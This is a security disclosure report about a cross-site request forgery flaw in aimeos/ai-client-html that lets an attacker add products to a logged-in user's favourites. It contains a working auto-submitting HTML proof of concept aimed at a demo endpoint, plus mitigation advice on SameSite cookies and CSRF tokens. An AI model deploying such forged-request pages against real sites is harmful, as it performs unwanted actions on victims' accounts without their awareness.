Cross-Site Request Forgery (CSRF) in aimeos/ai-client-htmlValid
Aug 27th 2021
Attacker able to add any product in favorites with CSRF attack.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
🕵️♂️ Proof of Concept
1.First of all admin or user with right privileges already should be logged in Browser.
2.Open the PoC.html (it is auto-submit).
3.Here favorite product with id
110041 will be added after the PoC.html file opened.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://laravel.demo.aimeos.org/default/en/EUR/profile/favorite/add/110041/Demo-voucher"> <input type="submit" value="Submit request" /> </form> <script> document.forms.submit(); </script> </body> </html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
This vulnerability is capable of make medium damage of integrity of system.
The easiest way that you set
strict attribute on each cookie, Or you set
Lax and Use
GET requests only for receiving data not changing them.
The best way is that you set a CSRF token in each endpoint.